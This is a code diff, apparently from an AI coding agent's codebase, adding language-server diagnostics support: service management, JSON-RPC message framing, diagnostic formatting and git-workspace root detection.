self._enabled = enabled
|
||||
self._wait_mode = wait_mode if wait_mode in ("document", "full") else "document"
|
||||
self._wait_timeout = wait_timeout
|
||||
self._install_strategy = install_strategy
|
||||
self._binary_overrides = binary_overrides or {}
|
||||
self._env_overrides = env_overrides or {}
|
||||
self._init_overrides = init_overrides or {}
|
||||
self._disabled_servers = set(disabled_servers or [])
|
||||
self._idle_timeout = idle_timeout
|
||||
|
||||
self._loop = _BackgroundLoop()
|
||||
if self._enabled:
|
||||
self._loop.start()
|
||||
|
||||
# Per-(server_id, workspace_root) state
|
||||
self._clients: Dict[Tuple[str, str], LSPClient] = {}
|
||||
self._broken: set = set()
|
||||
self._spawning: Dict[Tuple[str, str], asyncio.Future] = {}
|
||||
self._last_used: Dict[Tuple[str, str], float] = {}
|
||||
self._state_lock = threading.Lock()
|
||||
|
||||
# Delta baseline: file path → snapshot of diagnostics taken
|
||||
# immediately before a write. ``get_diagnostics_sync`` filters
|
||||
# out anything in the baseline so the agent only sees errors
|
||||
# introduced by the current edit.
|
||||
self._delta_baseline: Dict[str, List[Dict[str, Any]]] = {}
|
||||
|
||||
@classmethod
|
||||
def create_from_config(cls) -> Optional["LSPService"]:
|
||||
"""Build a service from ``hermes_cli.config`` settings.
|
||||
|
||||
Returns ``None`` if the config can't be loaded. The service
|
||||
itself returns ``is_active()`` False when LSP is disabled.
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.config import load_config
|
||||
cfg = load_config()
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.debug("LSP config load failed: %s", e)
|
||||
return None
|
||||
|
||||
lsp_cfg = (cfg.get("lsp") or {}) if isinstance(cfg, dict) else {}
|
||||
if not isinstance(lsp_cfg, dict):
|
||||
lsp_cfg = {}
|
||||
|
||||
enabled = bool(lsp_cfg.get("enabled", True))
|
||||
wait_mode = lsp_cfg.get("wait_mode", "document")
|
||||
wait_timeout = float(lsp_cfg.get("wait_timeout", DIAGNOSTICS_DOCUMENT_WAIT))
|
||||
install_strategy = lsp_cfg.get("install_strategy", "auto")
|
||||
servers_cfg = lsp_cfg.get("servers") or {}
|
||||
disabled = []
|
||||
binary_overrides: Dict[str, List[str]] = {}
|
||||
env_overrides: Dict[str, Dict[str, str]] = {}
|
||||
init_overrides: Dict[str, Dict[str, Any]] = {}
|
||||
if isinstance(servers_cfg, dict):
|
||||
for name, sub in servers_cfg.items():
|
||||
if not isinstance(sub, dict):
|
||||
continue
|
||||
if sub.get("disabled"):
|
||||
disabled.append(name)
|
||||
cmd = sub.get("command")
|
||||
if isinstance(cmd, list) and cmd:
|
||||
binary_overrides[name] = cmd
|
||||
env = sub.get("env")
|
||||
if isinstance(env, dict):
|
||||
env_overrides[name] = {k: str(v) for k, v in env.items()}
|
||||
init = sub.get("initialization_options")
|
||||
if isinstance(init, dict):
|
||||
init_overrides[name] = init
|
||||
|
||||
return cls(
|
||||
enabled=enabled,
|
||||
wait_mode=wait_mode,
|
||||
wait_timeout=wait_timeout,
|
||||
install_strategy=install_strategy,
|
||||
binary_overrides=binary_overrides,
|
||||
env_overrides=env_overrides,
|
||||
init_overrides=init_overrides,
|
||||
disabled_servers=disabled,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def is_active(self) -> bool:
|
||||
"""Return True iff this service should be consulted at all."""
|
||||
return self._enabled
|
||||
|
||||
def enabled_for(self, file_path: str) -> bool:
|
||||
"""Return True iff LSP should run for this specific file.
|
||||
|
||||
Gates on workspace detection (file or cwd inside a git worktree)
|
||||
and on whether any registered server matches the extension.
|
||||
"""
|
||||
if not self._enabled:
|
||||
return False
|
||||
srv = find_server_for_file(file_path)
|
||||
if srv is None or srv.server_id in self._disabled_servers:
|
||||
return False
|
||||
ws_root, gated_in = resolve_workspace_for_file(file_path)
|
||||
return bool(ws_root and gated_in)
|
||||
|
||||
def snapshot_baseline(self, file_path: str) -> None:
|
||||
"""Snapshot current diagnostics for ``file_path`` as the delta baseline.
|
||||
|
||||
Called BEFORE a write so the next ``get_diagnostics_sync()``
|
||||
can filter out pre-existing errors. Best-effort — failures
|
||||
are silently swallowed so a flaky server can't break a write.
|
||||
"""
|
||||
if not self.enabled_for(file_path):
|
||||
return
|
||||
try:
|
||||
diags = self._loop.run(self._snapshot_async(file_path), timeout=8.0)
|
||||
self._delta_baseline[os.path.abspath(file_path)] = diags or []
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.debug("baseline snapshot failed for %s: %s", file_path, e)
|
||||
# Set empty baseline so the next call still does the
|
||||
# comparison (any post-edit diagnostic will be considered
|
||||
# "new" — safe default).
|
||||
self._delta_baseline[os.path.abspath(file_path)] = []
|
||||
|
||||
def get_diagnostics_sync(
|
||||
self,
|
||||
file_path: str,
|
||||
*,
|
||||
delta: bool = True,
|
||||
timeout: Optional[float] = None,
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""Synchronously open ``file_path`` in the right server, wait for
|
||||
diagnostics, return them.
|
||||
|
||||
If ``delta`` is True (default), the result is filtered against
|
||||
any baseline previously captured via :meth:`snapshot_baseline`.
|
||||
Diagnostics present in the baseline are removed so the caller
|
||||
only sees errors introduced by the current edit.
|
||||
|
||||
Returns an empty list when LSP is disabled, when no workspace
|
||||
can be detected, when no server matches, or when the server
|
||||
can't be spawned. Never raises.
|
||||
"""
|
||||
if not self.enabled_for(file_path):
|
||||
return []
|
||||
|
||||
# Resolve server_id eagerly so we can emit structured logs even
|
||||
# when the request errors out below.
|
||||
srv = find_server_for_file(file_path)
|
||||
server_id = srv.server_id if srv else "?"
|
||||
|
||||
try:
|
||||
t = timeout if timeout is not None else self._wait_timeout + 2.0
|
||||
diags = self._loop.run(self._open_and_wait_async(file_path), timeout=t) or []
|
||||
except asyncio.TimeoutError as e:
|
||||
eventlog.log_timeout(server_id, file_path)
|
||||
logger.debug("LSP diagnostics timeout for %s: %s", file_path, e)
|
||||
return []
|
||||
except Exception as e: # noqa: BLE001
|
||||
eventlog.log_server_error(server_id, file_path, e)
|
||||
logger.debug("LSP diagnostics fetch failed for %s: %s", file_path, e)
|
||||
return []
|
||||
|
||||
abs_path = os.path.abspath(file_path)
|
||||
if delta:
|
||||
baseline = self._delta_baseline.get(abs_path) or []
|
||||
if baseline:
|
||||
seen = {_diag_key(d) for d in baseline}
|
||||
diags = [d for d in diags if _diag_key(d) not in seen]
|
||||
# Roll baseline forward — next call returns deltas relative
|
||||
# to the just-emitted state, mirroring claude-code's
|
||||
# diagnosticTracking.
|
||||
try:
|
||||
fresh = self._loop.run(self._current_diags_async(file_path), timeout=2.0) or []
|
||||
except Exception: # noqa: BLE001
|
||||
fresh = []
|
||||
if fresh:
|
||||
self._delta_baseline[abs_path] = fresh
|
||||
|
||||
if diags:
|
||||
eventlog.log_diagnostics(server_id, file_path, len(diags))
|
||||
else:
|
||||
eventlog.log_clean(server_id, file_path)
|
||||
return diags
|
||||
|
||||
def shutdown(self) -> None:
|
||||
"""Tear down all clients and stop the background loop."""
|
||||
if not self._enabled:
|
||||
return
|
||||
try:
|
||||
self._loop.run(self._shutdown_async(), timeout=10.0)
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.debug("LSP shutdown error: %s", e)
|
||||
self._loop.stop()
|
||||
clear_cache()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# async internals
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def _snapshot_async(self, file_path: str) -> List[Dict[str, Any]]:
|
||||
client = await self._get_or_spawn(file_path)
|
||||
if client is None:
|
||||
return []
|
||||
try:
|
||||
version = await client.open_file(file_path, language_id=language_id_for(file_path))
|
||||
await client.wait_for_diagnostics(file_path, version, mode=self._wait_mode)
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.debug("snapshot open/wait failed: %s", e)
|
||||
return []
|
||||
self._last_used[(client.server_id, client.workspace_root)] = time.time()
|
||||
return list(client.diagnostics_for(file_path))
|
||||
|
||||
async def _open_and_wait_async(self, file_path: str) -> List[Dict[str, Any]]:
|
||||
client = await self._get_or_spawn(file_path)
|
||||
if client is None:
|
||||
return []
|
||||
try:
|
||||
version = await client.open_file(file_path, language_id=language_id_for(file_path))
|
||||
await client.save_file(file_path)
|
||||
await client.wait_for_diagnostics(file_path, version, mode=self._wait_mode)
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.debug("open/wait failed for %s: %s", file_path, e)
|
||||
return []
|
||||
self._last_used[(client.server_id, client.workspace_root)] = time.time()
|
||||
return list(client.diagnostics_for(file_path))
|
||||
|
||||
async def _current_diags_async(self, file_path: str) -> List[Dict[str, Any]]:
|
||||
ws, gated = resolve_workspace_for_file(file_path)
|
||||
srv = find_server_for_file(file_path)
|
||||
if not (ws and gated and srv):
|
||||
return []
|
||||
with self._state_lock:
|
||||
client = self._clients.get((srv.server_id, ws))
|
||||
if client is None:
|
||||
return []
|
||||
return list(client.diagnostics_for(file_path))
|
||||
|
||||
async def _get_or_spawn(self, file_path: str) -> Optional[LSPClient]:
|
||||
srv = find_server_for_file(file_path)
|
||||
if srv is None:
|
||||
return None
|
||||
if srv.server_id in self._disabled_servers:
|
||||
eventlog.log_disabled(srv.server_id, file_path, "disabled in config")
|
||||
return None
|
||||
ws_root, gated = resolve_workspace_for_file(file_path)
|
||||
if not (ws_root and gated):
|
||||
eventlog.log_no_project_root(srv.server_id, file_path)
|
||||
return None
|
||||
per_server_root = srv.resolve_root(file_path, ws_root)
|
||||
if per_server_root is None:
|
||||
eventlog.log_disabled(
|
||||
srv.server_id, file_path, "exclude marker hit (server gated off)"
|
||||
)
|
||||
return None # exclude marker hit, server gated off
|
||||
|
||||
key = (srv.server_id, per_server_root)
|
||||
if key in self._broken:
|
||||
return None
|
||||
with self._state_lock:
|
||||
client = self._clients.get(key)
|
||||
if client is not None and client.is_running:
|
||||
eventlog.log_active(srv.server_id, per_server_root)
|
||||
return client
|
||||
spawning = self._spawning.get(key)
|
||||
if spawning is not None:
|
||||
try:
|
||||
return await spawning
|
||||
except Exception: # noqa: BLE001
|
||||
return None
|
||||
|
||||
# Begin spawn
|
||||
loop = asyncio.get_running_loop()
|
||||
spawn_future: asyncio.Future = loop.create_future()
|
||||
with self._state_lock:
|
||||
self._spawning[key] = spawn_future
|
||||
try:
|
||||
ctx = ServerContext(
|
||||
workspace_root=per_server_root,
|
||||
install_strategy=self._install_strategy,
|
||||
binary_overrides=self._binary_overrides,
|
||||
env_overrides=self._env_overrides,
|
||||
init_overrides=self._init_overrides,
|
||||
)
|
||||
spec = srv.build_spawn(per_server_root, ctx)
|
||||
if spec is None:
|
||||
# ``build_spawn`` returns None when the binary can't be
|
||||
# located (auto-install disabled, manual-only server,
|
||||
# or install attempt failed). Surface this once via
|
||||
# the structured logger so the user can act on it.
|
||||
eventlog.log_server_unavailable(srv.server_id, srv.server_id)
|
||||
self._broken.add(key)
|
||||
spawn_future.set_result(None)
|
||||
return None
|
||||
client = LSPClient(
|
||||
server_id=srv.server_id,
|
||||
workspace_root=spec.workspace_root,
|
||||
command=spec.command,
|
||||
env=spec.env,
|
||||
cwd=spec.cwd,
|
||||
initialization_options=spec.initialization_options,
|
||||
seed_diagnostics_on_first_push=spec.seed_diagnostics_on_first_push or srv.seed_first_push,
|
||||
)
|
||||
try:
|
||||
await client.start()
|
||||
except Exception as e: # noqa: BLE001
|
||||
eventlog.log_spawn_failed(srv.server_id, per_server_root, e)
|
||||
self._broken.add(key)
|
||||
spawn_future.set_result(None)
|
||||
return None
|
||||
with self._state_lock:
|
||||
self._clients[key] = client
|
||||
self._last_used[key] = time.time()
|
||||
eventlog.log_active(srv.server_id, per_server_root)
|
||||
spawn_future.set_result(client)
|
||||
return client
|
||||
finally:
|
||||
with self._state_lock:
|
||||
self._spawning.pop(key, None)
|
||||
|
||||
async def _shutdown_async(self) -> None:
|
||||
with self._state_lock:
|
||||
clients = list(self._clients.values())
|
||||
self._clients.clear()
|
||||
self._broken.clear()
|
||||
self._last_used.clear()
|
||||
await asyncio.gather(
|
||||
*(c.shutdown() for c in clients),
|
||||
return_exceptions=True,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# status / introspection (used by ``hermes lsp status``)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_status(self) -> Dict[str, Any]:
|
||||
"""Return a snapshot of the service for the CLI status command."""
|
||||
with self._state_lock:
|
||||
clients = [
|
||||
{
|
||||
"server_id": k[0],
|
||||
"workspace_root": k[1],
|
||||
"state": c.state,
|
||||
"running": c.is_running,
|
||||
}
|
||||
for k, c in self._clients.items()
|
||||
]
|
||||
broken = list(self._broken)
|
||||
return {
|
||||
"enabled": self._enabled,
|
||||
"wait_mode": self._wait_mode,
|
||||
"wait_timeout": self._wait_timeout,
|
||||
"install_strategy": self._install_strategy,
|
||||
"clients": clients,
|
||||
"broken": broken,
|
||||
"disabled_servers": sorted(self._disabled_servers),
|
||||
}
|
||||
|
||||
|
||||
def _diag_key(d: Dict[str, Any]) -> str:
|
||||
"""Content equality key used for delta filtering. Mirrors
|
||||
:func:`agent.lsp.client._diagnostic_key`."""
|
||||
rng = d.get("range") or {}
|
||||
start = rng.get("start") or {}
|
||||
end = rng.get("end") or {}
|
||||
code = d.get("code")
|
||||
if code is not None and not isinstance(code, str):
|
||||
code = str(code)
|
||||
return "\x00".join(
|
||||
[
|
||||
str(d.get("severity") or 1),
|
||||
str(code or ""),
|
||||
str(d.get("source") or ""),
|
||||
str(d.get("message") or "").strip(),
|
||||
f"{start.get('line', 0)}:{start.get('character', 0)}-{end.get('line', 0)}:{end.get('character', 0)}",
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
__all__ = ["LSPService"]
|
||||
@@ -0,0 +1,11 @@
|
||||
name: lsp
|
||||
version: "1.0.0"
|
||||
description: >-
|
||||
Semantic diagnostics from real language servers (pyright, gopls,
|
||||
rust-analyzer, typescript-language-server, etc.) surfaced on
|
||||
write_file/patch. Opt-in: add 'lsp' to plugins.enabled in config.yaml.
|
||||
author: NousResearch
|
||||
hooks:
|
||||
- pre_tool_call
|
||||
- transform_tool_result
|
||||
- on_session_end
|
||||
@@ -0,0 +1,196 @@
|
||||
"""Minimal LSP JSON-RPC 2.0 framer over async streams.
|
||||
|
||||
LSP wire format:
|
||||
|
||||
Content-Length: <bytes>\\r\\n
|
||||
\\r\\n
|
||||
<utf-8 JSON body>
|
||||
|
||||
The body is a JSON-RPC 2.0 envelope: request, response, or notification.
|
||||
|
||||
This module replaces what ``vscode-jsonrpc/node`` would do in a
|
||||
TypeScript implementation. We keep it deliberately small — just the
|
||||
framer + envelope helpers — so :class:`agent.lsp.client.LSPClient` can
|
||||
focus on protocol semantics.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
from typing import Any, Optional, Tuple
|
||||
|
||||
logger = logging.getLogger("agent.lsp.protocol")
|
||||
|
||||
# LSP error codes we care about. Full list in
|
||||
# https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#errorCodes
|
||||
ERROR_CONTENT_MODIFIED = -32801
|
||||
ERROR_REQUEST_CANCELLED = -32800
|
||||
ERROR_METHOD_NOT_FOUND = -32601
|
||||
|
||||
|
||||
class LSPProtocolError(Exception):
|
||||
"""Raised when the wire protocol is violated.
|
||||
|
||||
Distinct from :class:`LSPRequestError` which represents a server
|
||||
returning a JSON-RPC error response — that's protocol-conformant.
|
||||
This exception means the framing or envelope itself is broken.
|
||||
"""
|
||||
|
||||
|
||||
class LSPRequestError(Exception):
|
||||
"""Raised when an LSP request returns an error response.
|
||||
|
||||
Carries the JSON-RPC ``code``, ``message``, and optional ``data``.
|
||||
"""
|
||||
|
||||
def __init__(self, code: int, message: str, data: Any = None) -> None:
|
||||
super().__init__(f"LSP error {code}: {message}")
|
||||
self.code = code
|
||||
self.message = message
|
||||
self.data = data
|
||||
|
||||
|
||||
def encode_message(obj: dict) -> bytes:
|
||||
"""Encode a JSON-RPC envelope as a Content-Length framed byte string.
|
||||
|
||||
The body is encoded as compact UTF-8 JSON (no spaces between
|
||||
separators) — matches what ``vscode-jsonrpc`` emits and keeps the
|
||||
Content-Length count exact.
|
||||
"""
|
||||
body = json.dumps(obj, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
|
||||
header = f"Content-Length: {len(body)}\r\n\r\n".encode("ascii")
|
||||
return header + body
|
||||
|
||||
|
||||
async def read_message(reader: asyncio.StreamReader) -> Optional[dict]:
|
||||
"""Read one Content-Length framed JSON-RPC message from the stream.
|
||||
|
||||
Returns ``None`` on clean EOF (server closed stdout cleanly between
|
||||
messages — typical shutdown). Raises :class:`LSPProtocolError` on
|
||||
malformed framing.
|
||||
|
||||
The reader is advanced to just past the JSON body on success.
|
||||
"""
|
||||
headers: dict = {}
|
||||
header_bytes = 0
|
||||
while True:
|
||||
try:
|
||||
line = await reader.readuntil(b"\r\n")
|
||||
except asyncio.IncompleteReadError as e:
|
||||
# EOF while reading headers. If we hadn't started a header
|
||||
# block, treat as clean EOF; otherwise the framing is bad.
|
||||
if not e.partial and not headers:
|
||||
return None
|
||||
raise LSPProtocolError(
|
||||
f"unexpected EOF while reading LSP headers (partial={e.partial!r})"
|
||||
) from e
|
||||
# Defensive cap against a server streaming headers without ever
|
||||
# emitting CRLF-CRLF. Caps total header bytes at 8 KiB — a
|
||||
# well-behaved server fits in well under 200 bytes.
|
||||
header_bytes += len(line)
|
||||
if header_bytes > 8192:
|
||||
raise LSPProtocolError(
|
||||
f"LSP header block exceeded 8 KiB without terminator"
|
||||
)
|
||||
line = line[:-2] # strip CRLF
|
||||
if not line:
|
||||
break # blank line ends header block
|
||||
try:
|
||||
key, _, value = line.decode("ascii").partition(":")
|
||||
except UnicodeDecodeError as e:
|
||||
raise LSPProtocolError(f"non-ASCII LSP header: {line!r}") from e
|
||||
if not key:
|
||||
raise LSPProtocolError(f"malformed LSP header line: {line!r}")
|
||||
headers[key.strip().lower()] = value.strip()
|
||||
|
||||
cl = headers.get("content-length")
|
||||
if cl is None:
|
||||
raise LSPProtocolError(f"LSP message missing Content-Length: {headers!r}")
|
||||
try:
|
||||
n = int(cl)
|
||||
except ValueError as e:
|
||||
raise LSPProtocolError(f"non-integer Content-Length: {cl!r}") from e
|
||||
if n < 0 or n > 64 * 1024 * 1024: # 64 MiB sanity cap
|
||||
raise LSPProtocolError(f"unreasonable Content-Length: {n}")
|
||||
|
||||
try:
|
||||
body = await reader.readexactly(n)
|
||||
except asyncio.IncompleteReadError as e:
|
||||
raise LSPProtocolError(
|
||||
f"truncated LSP body: expected {n} bytes, got {len(e.partial)}"
|
||||
) from e
|
||||
|
||||
try:
|
||||
return json.loads(body.decode("utf-8"))
|
||||
except json.JSONDecodeError as e:
|
||||
raise LSPProtocolError(f"invalid JSON in LSP body: {e}") from e
|
||||
except UnicodeDecodeError as e:
|
||||
raise LSPProtocolError(f"non-UTF-8 LSP body: {e}") from e
|
||||
|
||||
|
||||
def make_request(req_id: int, method: str, params: Any) -> dict:
|
||||
"""Build a JSON-RPC 2.0 request envelope."""
|
||||
msg: dict = {"jsonrpc": "2.0", "id": req_id, "method": method}
|
||||
if params is not None:
|
||||
msg["params"] = params
|
||||
return msg
|
||||
|
||||
|
||||
def make_notification(method: str, params: Any) -> dict:
|
||||
"""Build a JSON-RPC 2.0 notification envelope (no ``id``)."""
|
||||
msg: dict = {"jsonrpc": "2.0", "method": method}
|
||||
if params is not None:
|
||||
msg["params"] = params
|
||||
return msg
|
||||
|
||||
|
||||
def make_response(req_id: Any, result: Any) -> dict:
|
||||
"""Build a JSON-RPC 2.0 success response envelope."""
|
||||
return {"jsonrpc": "2.0", "id": req_id, "result": result}
|
||||
|
||||
|
||||
def make_error_response(req_id: Any, code: int, message: str, data: Any = None) -> dict:
|
||||
"""Build a JSON-RPC 2.0 error response envelope."""
|
||||
err: dict = {"code": code, "message": message}
|
||||
if data is not None:
|
||||
err["data"] = data
|
||||
return {"jsonrpc": "2.0", "id": req_id, "error": err}
|
||||
|
||||
|
||||
def classify_message(msg: dict) -> Tuple[str, Any]:
|
||||
"""Return ``(kind, key)`` where kind is one of ``request``,
|
||||
``response``, ``notification``, ``invalid``.
|
||||
|
||||
The key is the request id for request/response, the method name
|
||||
for notifications, and ``None`` for invalid messages.
|
||||
"""
|
||||
if not isinstance(msg, dict):
|
||||
return "invalid", None
|
||||
if msg.get("jsonrpc") != "2.0":
|
||||
return "invalid", None
|
||||
has_id = "id" in msg
|
||||
has_method = "method" in msg
|
||||
if has_id and has_method:
|
||||
return "request", msg["id"]
|
||||
if has_id and ("result" in msg or "error" in msg):
|
||||
return "response", msg["id"]
|
||||
if has_method and not has_id:
|
||||
return "notification", msg["method"]
|
||||
return "invalid", None
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ERROR_CONTENT_MODIFIED",
|
||||
"ERROR_REQUEST_CANCELLED",
|
||||
"ERROR_METHOD_NOT_FOUND",
|
||||
"LSPProtocolError",
|
||||
"LSPRequestError",
|
||||
"encode_message",
|
||||
"read_message",
|
||||
"make_request",
|
||||
"make_notification",
|
||||
"make_response",
|
||||
"make_error_response",
|
||||
"classify_message",
|
||||
]
|
||||
@@ -0,0 +1,78 @@
|
||||
"""Format LSP diagnostics for inclusion in tool output.
|
||||
|
||||
The model sees a compact, severity-filtered, line-bounded summary of
|
||||
diagnostics introduced by the latest edit. Format matches what
|
||||
OpenCode's ``lsp/diagnostic.ts`` and Claude Code's
|
||||
``formatDiagnosticsSummary`` produce — ``<diagnostics>`` blocks with
|
||||
1-indexed line/column, capped at ``MAX_PER_FILE`` errors.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any, Dict, List
|
||||
|
||||
# Severity-1 only by default — warnings/info/hints would flood the
|
||||
# agent. Lift this in config under ``lsp.severities`` if needed.
|
||||
SEVERITY_NAMES = {1: "ERROR", 2: "WARN", 3: "INFO", 4: "HINT"}
|
||||
DEFAULT_SEVERITIES = frozenset({1}) # ERROR only
|
||||
|
||||
MAX_PER_FILE = 20
|
||||
MAX_TOTAL_CHARS = 4000
|
||||
|
||||
|
||||
def format_diagnostic(d: Dict[str, Any]) -> str:
|
||||
"""One-line representation of a single diagnostic."""
|
||||
sev = SEVERITY_NAMES.get(d.get("severity") or 1, "ERROR")
|
||||
rng = d.get("range") or {}
|
||||
start = rng.get("start") or {}
|
||||
line = int(start.get("line", 0)) + 1
|
||||
col = int(start.get("character", 0)) + 1
|
||||
msg = str(d.get("message") or "").rstrip()
|
||||
code = d.get("code")
|
||||
code_part = f" [{code}]" if code not in (None, "") else ""
|
||||
source = d.get("source")
|
||||
source_part = f" ({source})" if source else ""
|
||||
return f"{sev} [{line}:{col}] {msg}{code_part}{source_part}"
|
||||
|
||||
|
||||
def report_for_file(
|
||||
file_path: str,
|
||||
diagnostics: List[Dict[str, Any]],
|
||||
*,
|
||||
severities: frozenset = DEFAULT_SEVERITIES,
|
||||
max_per_file: int = MAX_PER_FILE,
|
||||
) -> str:
|
||||
"""Build a ``<diagnostics file=...>`` block for one file.
|
||||
|
||||
Returns an empty string when no diagnostics pass the severity
|
||||
filter, so callers can do ``if block:`` to skip empty cases.
|
||||
"""
|
||||
if not diagnostics:
|
||||
return ""
|
||||
filtered = [d for d in diagnostics if (d.get("severity") or 1) in severities]
|
||||
if not filtered:
|
||||
return ""
|
||||
limited = filtered[:max_per_file]
|
||||
extra = len(filtered) - len(limited)
|
||||
lines = [format_diagnostic(d) for d in limited]
|
||||
body = "\n".join(lines)
|
||||
if extra > 0:
|
||||
body += f"\n... and {extra} more"
|
||||
return f"<diagnostics file=\"{file_path}\">\n{body}\n</diagnostics>"
|
||||
|
||||
|
||||
def truncate(s: str, *, limit: int = MAX_TOTAL_CHARS) -> str:
|
||||
"""Hard-cap a formatted summary string."""
|
||||
if len(s) <= limit:
|
||||
return s
|
||||
marker = "\n…[truncated]"
|
||||
return s[: limit - len(marker)] + marker
|
||||
|
||||
|
||||
__all__ = [
|
||||
"SEVERITY_NAMES",
|
||||
"DEFAULT_SEVERITIES",
|
||||
"MAX_PER_FILE",
|
||||
"format_diagnostic",
|
||||
"report_for_file",
|
||||
"truncate",
|
||||
]
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,223 @@
|
||||
"""Workspace and project-root resolution for LSP.
|
||||
|
||||
Two concerns live here:
|
||||
|
||||
1. **Workspace gate** — the upper-level "is this directory a project?"
|
||||
check. Hermes only runs LSP when the cwd (or the file being edited)
|
||||
sits inside a git worktree. Files outside any git root never
|
||||
trigger LSP, even if a server is configured. This keeps Telegram
|
||||
gateway users on user-home cwd's from spawning daemons.
|
||||
|
||||
2. **NearestRoot** — the per-server project-root walk. Each language
|
||||
server cares about a different marker (``pyproject.toml`` for
|
||||
Python, ``Cargo.toml`` for Rust, ``go.mod`` for Go, etc.) and
|
||||
wants the directory containing that marker. ``nearest_root()``
|
||||
walks up from a starting path looking for any of a list of marker
|
||||
files, optionally bailing if an exclude marker shows up first.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
from pathlib import Path
|
||||
from typing import Iterable, Optional, Tuple
|
||||
|
||||
logger = logging.getLogger("agent.lsp.workspace")
|
||||
|
||||
# Cache: cwd → (worktree_root, is_git) so repeated calls don't re-stat.
|
||||
# Cleared on shutdown. Keyed by absolute resolved path so symlink
|
||||
# folds collapse to one entry.
|
||||
_workspace_cache: dict = {}
|
||||
|
||||
|
||||
def normalize_path(path: str) -> str:
|
||||
"""Normalize a path for use as a stable map key.
|
||||
|
||||
Resolves ``~``, makes absolute, and collapses ``.``/``..``. We do
|
||||
NOT resolve symlinks here — symlink stability matters for some
|
||||
LSP servers (rust-analyzer cares about Cargo workspace identity)
|
||||
and we want the canonical path the user typed when possible.
|
||||
"""
|
||||
return os.path.abspath(os.path.expanduser(path))
|
||||
|
||||
|
||||
def find_git_worktree(start: str) -> Optional[str]:
|
||||
"""Walk up from ``start`` looking for a ``.git`` entry (file or dir).
|
||||
|
||||
Returns the directory containing ``.git``, or ``None`` if no git
|
||||
root is found before hitting the filesystem root.
|
||||
|
||||
A ``.git`` *file* (not directory) means we're inside a git
|
||||
worktree set up via ``git worktree add`` — both forms count.
|
||||
"""
|
||||
try:
|
||||
start_path = Path(normalize_path(start))
|
||||
if start_path.is_file():
|
||||
start_path = start_path.parent
|
||||
except (OSError, RuntimeError, ValueError):
|
||||
# Pathological input (loop in symlinks, encoding error, etc.) —
|
||||
# bail out rather than crash the lint hook.
|
||||
return None
|
||||
|
||||
# Cache check
|
||||
cached = _workspace_cache.get(str(start_path))
|
||||
if cached is not None:
|
||||
root, _is_git = cached
|
||||
return root
|
||||
|
||||
cur = start_path
|
||||
# Defensive cap: the deepest reasonable monorepo is well under 64
|
||||
# levels. Caps the walk so a pathological cwd or a symlink cycle
|
||||
# we somehow traverse can't keep us looping.
|
||||
for _ in range(64):
|
||||
git_marker = cur / ".git"
|
||||
try:
|
||||
if git_marker.exists():
|
||||
resolved = str(cur)
|
||||
_workspace_cache[str(start_path)] = (resolved, True)
|
||||
return resolved
|
||||
except OSError:
|
||||
# Permission error on a parent dir — bail out cleanly.
|
||||
break
|
||||
parent = cur.parent
|
||||
if parent == cur:
|
||||
break
|
||||
cur = parent
|
||||
|
||||
_workspace_cache[str(start_path)] = (None, False)
|
||||
return None
|
||||
|
||||
|
||||
def is_inside_workspace(path: str, workspace_root: str) -> bool:
|
||||
"""Return True iff ``path`` is inside (or equal to) ``workspace_root``.
|
||||
|
||||
Uses absolute paths but does not resolve symlinks — a file accessed
|
||||
via a symlink that points outside the workspace still counts as
|
||||
outside. This is the conservative interpretation; matches LSP
|
||||
behaviour where servers reject didOpen for unrelated files.
|
||||
"""
|
||||
p = normalize_path(path)
|
||||
root = normalize_path(workspace_root)
|
||||
if p == root:
|
||||
return True
|
||||
# Use os.path.commonpath to handle case-insensitive filesystems
|
||||
# correctly on macOS/Windows.
|
||||
try:
|
||||
common = os.path.commonpath([p, root])
|
||||
except ValueError:
|
||||
# Different drives on Windows.
|
||||
return False
|
||||
return common == root
|
||||
|
||||
|
||||
def nearest_root(
|
||||
start: str,
|
||||
markers: Iterable[str],
|
||||
*,
|
||||
excludes: Optional[Iterable[str]] = None,
|
||||
ceiling: Optional[str] = None,
|
||||
) -> Optional[str]:
|
||||
"""Walk up from ``start`` looking for any of the given marker files.
|
||||
|
||||
Returns the **directory containing** the first matched marker, or
|
||||
``None`` if no marker is found before hitting ``ceiling`` (or the
|
||||
filesystem root if no ceiling).
|
||||
|
||||
If ``excludes`` is provided and an exclude marker matches *first*
|
||||
in the upward walk, returns ``None`` — the server is gated off
|
||||
for that file. Mirrors OpenCode's NearestRoot exclude semantics
|
||||
(e.g. typescript skips deno projects when ``deno.json`` is found
|
||||
before ``package.json``).
|
||||
"""
|
||||
start_path = Path(normalize_path(start))
|
||||
try:
|
||||
if start_path.is_file():
|
||||
start_path = start_path.parent
|
||||
except (OSError, RuntimeError, ValueError):
|
||||
return None
|
||||
ceiling_path = Path(normalize_path(ceiling)) if ceiling else None
|
||||
|
||||
markers_list = list(markers)
|
||||
excludes_list = list(excludes) if excludes else []
|
||||
|
||||
cur = start_path
|
||||
# Defensive cap matching ``find_git_worktree``. Bounded walk
|
||||
# protects against pathological inputs even though the
|
||||
# parent-equality stop normally terminates within ~10 steps.
|
||||
for _ in range(64):
|
||||
# Check excludes first — if an exclude is found at this level,
|
||||
# the server is gated off for this file.
|
||||
for exc in excludes_list:
|
||||
try:
|
||||
if (cur / exc).exists():
|
||||
return None
|
||||
except OSError:
|
||||
continue
|
||||
# Then check markers.
|
||||
